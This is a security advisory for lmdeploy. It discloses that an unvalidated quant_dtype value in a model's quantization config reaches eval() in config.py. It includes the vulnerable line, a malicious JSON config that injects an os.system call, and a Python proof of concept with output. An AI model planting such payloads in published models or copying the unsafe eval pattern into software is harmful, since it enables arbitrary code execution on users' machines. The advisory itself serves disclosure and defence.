GHSA-3hmm-rh5q-gwwr

### Summary

lmdeploy <= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f'torch.{quant_dtype}')` without any validation.

### Details

**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):

```python quant_dtype = eval(f'torch.{quant_dtype}') # line 620 ```

The `quant_dtype` value comes from the model's `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.

**Attack vector:** An attacker publishes a HuggingFace model with: ```json { "quantization_config": { "quant_method": "awq", "quant_dtype": "float16, __import__('os').system('id')" } } ```

Note: The `_update_torch_dtype` method at line 53 has a whitelist check, but that's for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.

### PoC

```python """ PoC: eval() RCE in lmdeploy via malicious quant_dtype Prerequisites: pip install lmdeploy """ import sys from unittest.mock import MagicMock, patch

# Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

# Simulate a malicious HuggingFace model config mock_hf_config = MagicMock() mock_hf_config.quantization_config = { 'quant_method': 'awq', 'quant_dtype': "float16, __import__('os').system('id')" } mock_hf_config.num_attention_heads = 32 mock_hf_config.hidden_size = 4096 mock_hf_config.num_hidden_layers = 32 mock_hf_config.num_key_value_heads = 32 mock_hf_config.vocab_size = 32000

# This triggers eval(f'torch.{quant_dtype}') # with quant_dtype = "float16, __import__('os').system('id')" config = ModelConfig.from_hf_config(mock_hf_config, model_path='test') ```

**Output:** ``` uid=0(root) gid=0(root) groups=0(root) ```

### Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model 2. No user interaction beyond running `lmdeploy serve` or similar with the model 3. Affects all deployment scenarios (local, cloud, production)